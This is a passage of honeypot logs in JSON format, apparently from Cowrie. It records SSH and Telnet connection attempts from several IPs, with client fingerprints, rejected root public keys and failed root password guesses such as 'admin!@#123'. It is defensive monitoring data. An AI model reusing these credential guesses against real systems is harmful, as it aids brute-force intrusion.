nssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.070893Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:e6:a9:c3:26:94:c3:fe:da:e1:f3:09:90:ec:34:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZBaniQjr7HxHCHOlyxFLu+v0G3+M+fuaOjSNYCdZlfGKZlOgWC1VsgHlfRcynsElXIAKo8RqGfGq8TP2LOBhS4ulasB3VCwjNbCSk/QawkSCpaqEi3qzEBGpg42d7tp09aWb/IQJ+KU+tgS35IlV8VHBoArOCSE0Js4jeL7rDBqH6H84pv2bz9wlY7JCkhzw+fzjDa5/Jf7dhV1uH36vdERvUIiga2OJ9vVeFcFjzHEPiNBaGCYHBz4CP9vk2FyR6RkBH9sk5IiVkveXiAFY/HLzD6AmTXrwxvR3KbH8cVnyAmjdr5zaYHtFRl4Y/N4tdYa6q5lWnpWq3LAWAkIyttNlsySt6hTwCXzBXuj8QVQWUkoUZhptFyNoEhkXEYXrByQn2ky9FIZg0jSfa3mw0EfsK7pqRA2K8t7qICwWpUzD7NqsC1PDnWoPIE2rrCIl46XHebWbfhRA0GXFc8dYxBcLqBvCR8PG7mOXbLR81AMB73ahcBRgnySXQm2g4KhazkO/yHGL/cq7q1GdItwlIcP2/LIGhDsFCORUKIfdU+q8vSJCyZoDTFngfwyMF1j6zztaXVtv3O3ZmMI/YQNA16bgZqoyryHDFA8VwzRuKHInlZi0TdOdrAzWGtHn0jQn/j+gqZtJbwMMs8t3dnFVxzEqgET7DsRmbJip+Jw1ktQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:e6:a9:c3:26:94:c3:fe:da:e1:f3:09:90:ec:34:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.346766Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:e6:a9:c3:26:94:c3:fe:da:e1:f3:09:90:ec:34:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZBaniQjr7HxHCHOlyxFLu+v0G3+M+fuaOjSNYCdZlfGKZlOgWC1VsgHlfRcynsElXIAKo8RqGfGq8TP2LOBhS4ulasB3VCwjNbCSk/QawkSCpaqEi3qzEBGpg42d7tp09aWb/IQJ+KU+tgS35IlV8VHBoArOCSE0Js4jeL7rDBqH6H84pv2bz9wlY7JCkhzw+fzjDa5/Jf7dhV1uH36vdERvUIiga2OJ9vVeFcFjzHEPiNBaGCYHBz4CP9vk2FyR6RkBH9sk5IiVkveXiAFY/HLzD6AmTXrwxvR3KbH8cVnyAmjdr5zaYHtFRl4Y/N4tdYa6q5lWnpWq3LAWAkIyttNlsySt6hTwCXzBXuj8QVQWUkoUZhptFyNoEhkXEYXrByQn2ky9FIZg0jSfa3mw0EfsK7pqRA2K8t7qICwWpUzD7NqsC1PDnWoPIE2rrCIl46XHebWbfhRA0GXFc8dYxBcLqBvCR8PG7mOXbLR81AMB73ahcBRgnySXQm2g4KhazkO/yHGL/cq7q1GdItwlIcP2/LIGhDsFCORUKIfdU+q8vSJCyZoDTFngfwyMF1j6zztaXVtv3O3ZmMI/YQNA16bgZqoyryHDFA8VwzRuKHInlZi0TdOdrAzWGtHn0jQn/j+gqZtJbwMMs8t3dnFVxzEqgET7DsRmbJip+Jw1ktQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.351276Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:90:23:73:0e:01:e5:0a:4c:7e:32:03:24:0b:b2:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfBnJt+yLhWonZdhbkFe92q6oE8LeEU1EDvvwS9agRDBRRFqT6z30NS9xuAIukXZS6ozu6bSkGtExtPqwIPpy7aSHEhvTzSy8nQoFbN2yen5blNPCLkVbc2L9b7MPI0GCW4bR4c8dtSM0liSvnMQjoGRpjMbQ54+ABUUT2P6QO05zTwY2But/aZFlTF/yOnZY00ikLDP8lmqZTDk0dpIsMLOO+J0Up4/CezLS2DV0yTpRJ/ODk5juB9R5ADNVrI75K4W5OELiGabdAgPfadQ8sd4wFi9qp0JfOp6fxAPoXUR9ztIg4t1T2xk9/FGANMkTMsJTu4BEr0VeAne0vFVwW9LLLEStK6cmoy5yEHC2VMDglEIViwGHfWjEUZ8M/swENPtXEGxP6KNSbB+PTkMrOqym4UZTgL9cC/Kz9nGum+6CNmsUIPxknye7IYmvmltXB5dk2E2cIZbC6FtE/CLuOi38Wku+5/6AZcjRxf17i1EurQ3EU72m1skcuT7ExzBcfgpHkJyjitw3g5xgLgkQ9AmQfr3FtaSwxnC4ukWlQSMY5C7GsiMiRnocGXyU49bdX35/ff/pKFSDEi5lGPCxaBnYU1P4Zo21RMouNP1TqUWRw8HITYSfUGBGx8BuBhoWaNS9zXeYjSXaCFLjuLk0Ui+ym2tJ8RW+c7oueYi5fvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:90:23:73:0e:01:e5:0a:4c:7e:32:03:24:0b:b2:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.411930Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:90:23:73:0e:01:e5:0a:4c:7e:32:03:24:0b:b2:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfBnJt+yLhWonZdhbkFe92q6oE8LeEU1EDvvwS9agRDBRRFqT6z30NS9xuAIukXZS6ozu6bSkGtExtPqwIPpy7aSHEhvTzSy8nQoFbN2yen5blNPCLkVbc2L9b7MPI0GCW4bR4c8dtSM0liSvnMQjoGRpjMbQ54+ABUUT2P6QO05zTwY2But/aZFlTF/yOnZY00ikLDP8lmqZTDk0dpIsMLOO+J0Up4/CezLS2DV0yTpRJ/ODk5juB9R5ADNVrI75K4W5OELiGabdAgPfadQ8sd4wFi9qp0JfOp6fxAPoXUR9ztIg4t1T2xk9/FGANMkTMsJTu4BEr0VeAne0vFVwW9LLLEStK6cmoy5yEHC2VMDglEIViwGHfWjEUZ8M/swENPtXEGxP6KNSbB+PTkMrOqym4UZTgL9cC/Kz9nGum+6CNmsUIPxknye7IYmvmltXB5dk2E2cIZbC6FtE/CLuOi38Wku+5/6AZcjRxf17i1EurQ3EU72m1skcuT7ExzBcfgpHkJyjitw3g5xgLgkQ9AmQfr3FtaSwxnC4ukWlQSMY5C7GsiMiRnocGXyU49bdX35/ff/pKFSDEi5lGPCxaBnYU1P4Zo21RMouNP1TqUWRw8HITYSfUGBGx8BuBhoWaNS9zXeYjSXaCFLjuLk0Ui+ym2tJ8RW+c7oueYi5fvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.418867Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:09:58:23:ca:8a:a4:23:5e:89:b5:72:4d:70:0e:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9SCeKh213K31Tx91rYARdZZKPDc9mzce7cVpersOX77eGuodDIp53CJNIS+wBdLASDRL642mHZ6XWubnf3iRIYix0TmaS5XjOWWIH3zZa2VN2fNNxSAMluDUHJXEqiIidQzTcvtaTTg19kIq3gk5rWpOsmzIELdW6CanShjrSqOu+HjZjzcUF4cek1z9P+MYiK2xK2M5u1JugNPq210Bw0QIa628WXyIiX/KP2n51EhdXxc6/BREJuOxeEsp3atVgBU76SH6lAnK1F6z2VEu2hjWA7ScVY9XPUzvyFU8A0yP3U1KTtgKa3l7i3gxgiNDMK92Tp5qliAZ/r8l6y6dQmB3r1DS3IG9FDJXPgU2jhdY+lqLDVJwQh/ztj0ljEGkH1br5JxTCH2K1rTRHOtTG+av31AgIrOwNNXGh6aL1kLbDG/Lv8UboEQxsNppyWHcps9fsPionbSK2VmXh6vZQkm/7NsmDJJ7/ekxQo3heZgfcM0074whYtfwYIvKvrK6kH3moKi8PQ/+zg29h2BC9AZ+hq9UxEUqRYKTOhIghzwMNB53k4WiICTnzdUp7vG2ospj3CHg0WPd00OEbEmBGEcq1ItmQ7ShEbpYtqdoqAV/su9L7WbShLKcUpMS6KN2hGiAEA5d5iF9sMxMDEMEGDFhImLCbi+MzZ8WdoX3zkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:09:58:23:ca:8a:a4:23:5e:89:b5:72:4d:70:0e:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.478268Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:09:58:23:ca:8a:a4:23:5e:89:b5:72:4d:70:0e:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9SCeKh213K31Tx91rYARdZZKPDc9mzce7cVpersOX77eGuodDIp53CJNIS+wBdLASDRL642mHZ6XWubnf3iRIYix0TmaS5XjOWWIH3zZa2VN2fNNxSAMluDUHJXEqiIidQzTcvtaTTg19kIq3gk5rWpOsmzIELdW6CanShjrSqOu+HjZjzcUF4cek1z9P+MYiK2xK2M5u1JugNPq210Bw0QIa628WXyIiX/KP2n51EhdXxc6/BREJuOxeEsp3atVgBU76SH6lAnK1F6z2VEu2hjWA7ScVY9XPUzvyFU8A0yP3U1KTtgKa3l7i3gxgiNDMK92Tp5qliAZ/r8l6y6dQmB3r1DS3IG9FDJXPgU2jhdY+lqLDVJwQh/ztj0ljEGkH1br5JxTCH2K1rTRHOtTG+av31AgIrOwNNXGh6aL1kLbDG/Lv8UboEQxsNppyWHcps9fsPionbSK2VmXh6vZQkm/7NsmDJJ7/ekxQo3heZgfcM0074whYtfwYIvKvrK6kH3moKi8PQ/+zg29h2BC9AZ+hq9UxEUqRYKTOhIghzwMNB53k4WiICTnzdUp7vG2ospj3CHg0WPd00OEbEmBGEcq1ItmQ7ShEbpYtqdoqAV/su9L7WbShLKcUpMS6KN2hGiAEA5d5iF9sMxMDEMEGDFhImLCbi+MzZ8WdoX3zkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.482218Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:d2:44:20:bf:cd:9d:bc:dd:be:c9:21:2c:84:f7:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDlqzVdgSzngfUrzfT5J3fvZcnVWJ8qORK7vpwnPVSvSTsQZjIPgdzAiTcuxdwOruUusTpPc+n6RC4FhUbNX4VgZGeSEGmYtReUB0QBRnGKf/03sOBWNCM3OcITrCgRKi/4fkqshpC05zhxOyD76ykh8buLAa2vFEA+aepjFudcLYAoisjLvwYnDkinfjyKPMm7iiHLrg2lj0J6BWwk4y+df9+TN840fF90b8kGCy9LhY7I2zmzPE2R41eKE91MieqqFJcxodlhbn1D/CnqclrAOEuVd0HZL+e4vBMHrrSyi45VB/aGX0dHWfzmI+vd8sif//PMd629m1UHTevYEZXiTwL1dM8FT+whL/OFqWD6qRUo/YvZW+wXANMY6Qlki+jFDmByq/sT4DYRpjA4kLZuLTfEa2czabOSwfZ77AeR2ooGZObQhlIp2N77oJk9dmyU32FOBpiynHMyc7i5TFWiHE5k1CEpvid+TEXNGjSAZ/oj6Gv6VE1n0zngQAgNELM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:d2:44:20:bf:cd:9d:bc:dd:be:c9:21:2c:84:f7:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.544366Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:d2:44:20:bf:cd:9d:bc:dd:be:c9:21:2c:84:f7:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDlqzVdgSzngfUrzfT5J3fvZcnVWJ8qORK7vpwnPVSvSTsQZjIPgdzAiTcuxdwOruUusTpPc+n6RC4FhUbNX4VgZGeSEGmYtReUB0QBRnGKf/03sOBWNCM3OcITrCgRKi/4fkqshpC05zhxOyD76ykh8buLAa2vFEA+aepjFudcLYAoisjLvwYnDkinfjyKPMm7iiHLrg2lj0J6BWwk4y+df9+TN840fF90b8kGCy9LhY7I2zmzPE2R41eKE91MieqqFJcxodlhbn1D/CnqclrAOEuVd0HZL+e4vBMHrrSyi45VB/aGX0dHWfzmI+vd8sif//PMd629m1UHTevYEZXiTwL1dM8FT+whL/OFqWD6qRUo/YvZW+wXANMY6Qlki+jFDmByq/sT4DYRpjA4kLZuLTfEa2czabOSwfZ77AeR2ooGZObQhlIp2N77oJk9dmyU32FOBpiynHMyc7i5TFWiHE5k1CEpvid+TEXNGjSAZ/oj6Gv6VE1n0zngQAgNELM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.549305Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:01:2f:5a:26:be:90:d5:92:73:9b:ce:a4:29:00:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCr7AYY9OsykRoRkr8hNcpnuER6i4BWWOM+ZPObjE3NFJFliMduzw9MEJPAaR7amRVE3K3iSq1WY3CLm4HSidy8Bhoft3296tLelz+qfKAPrlOUNZSS9B+K4aLxkKDdH3d2YGM26hv38cQpbCaxWrE8uGjE0PV5Qph5OUqW7YIyvZMIuWISC2mWO4E/ju8xf6bYm/R3lxhbFFthfq8d5hvAFMUp84DadTFxeLfFZ5Tn6vAQXsW4amfLs1bPCAmVk0JiHKsDgw6rwHZ13Q3URoBJoIb+/8aqNPYeQ1+xdIHShsnyO98S+j9ldLG5cqkBIh1iDByjUuH2t+r4s8XhS6jrbe/yt7Xg4TjyfukPrqjcMIFcwqEdJ4lUyClBbQMo6Rv/XbGBQsrztn3R0FjIOooPJPejgDnWFJ1T52pNf17ZD4k4HBe3k94LhwXRDP1pYnOlo7i+TX6ygOvmSHcKkGg7UQ5Ry7tGSn2VLyqrW/4S9LLMW49b1IyrK2fNCu5ZAZ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:01:2f:5a:26:be:90:d5:92:73:9b:ce:a4:29:00:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.611678Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:01:2f:5a:26:be:90:d5:92:73:9b:ce:a4:29:00:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCr7AYY9OsykRoRkr8hNcpnuER6i4BWWOM+ZPObjE3NFJFliMduzw9MEJPAaR7amRVE3K3iSq1WY3CLm4HSidy8Bhoft3296tLelz+qfKAPrlOUNZSS9B+K4aLxkKDdH3d2YGM26hv38cQpbCaxWrE8uGjE0PV5Qph5OUqW7YIyvZMIuWISC2mWO4E/ju8xf6bYm/R3lxhbFFthfq8d5hvAFMUp84DadTFxeLfFZ5Tn6vAQXsW4amfLs1bPCAmVk0JiHKsDgw6rwHZ13Q3URoBJoIb+/8aqNPYeQ1+xdIHShsnyO98S+j9ldLG5cqkBIh1iDByjUuH2t+r4s8XhS6jrbe/yt7Xg4TjyfukPrqjcMIFcwqEdJ4lUyClBbQMo6Rv/XbGBQsrztn3R0FjIOooPJPejgDnWFJ1T52pNf17ZD4k4HBe3k94LhwXRDP1pYnOlo7i+TX6ygOvmSHcKkGg7UQ5Ry7tGSn2VLyqrW/4S9LLMW49b1IyrK2fNCu5ZAZ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.616905Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:23:09.682561Z","src_ip":"107.181.228.82","session":"b841199c4d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60512,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d6b84684480","protocol":"ssh","message":"New connection: 103.147.159.91:60512 (10.17.0.5:22) [session: 7d6b84684480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:08.038477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:08.046381Z","src_ip":"103.147.159.91","session":"7d6b84684480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:08.341362Z","src_ip":"103.147.159.91","session":"7d6b84684480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailserver","message":"login attempt [root/mailserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:09.548442Z","src_ip":"103.147.159.91","session":"7d6b84684480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:10.844136Z","src_ip":"103.147.159.91","session":"7d6b84684480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36366,"dst_ip":"10.17.0.5","dst_port":22,"session":"deb9aabf980a","protocol":"ssh","message":"New connection: 103.15.226.202:36366 (10.17.0.5:22) [session: deb9aabf980a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:31.050986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:31.055780Z","src_ip":"103.15.226.202","session":"deb9aabf980a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:31.299777Z","src_ip":"103.15.226.202","session":"deb9aabf980a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc","message":"login attempt [root/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:32.033028Z","src_ip":"103.15.226.202","session":"deb9aabf980a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:33.280773Z","src_ip":"103.15.226.202","session":"deb9aabf980a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.225.130.35","src_port":1188,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa48f254d7e3","protocol":"telnet","message":"New connection: 177.225.130.35:1188 (10.17.0.5:23) [session: fa48f254d7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:33.638100Z"}
{"eventid":"cowrie.session.closed","duration":13.792944431304932,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:24:47.430970Z","src_ip":"177.225.130.35","session":"fa48f254d7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60570,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fb28925b24f","protocol":"ssh","message":"New connection: 103.147.159.91:60570 (10.17.0.5:22) [session: 7fb28925b24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:03.979876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:03.984998Z","src_ip":"103.147.159.91","session":"7fb28925b24f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:04.225868Z","src_ip":"103.147.159.91","session":"7fb28925b24f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#123","message":"login attempt [root/admin!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:05.209827Z","src_ip":"103.147.159.91","session":"7fb28925b24f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:06.451695Z","src_ip":"103.147.159.91","session":"7fb28925b24f","protocol":"ssh"}
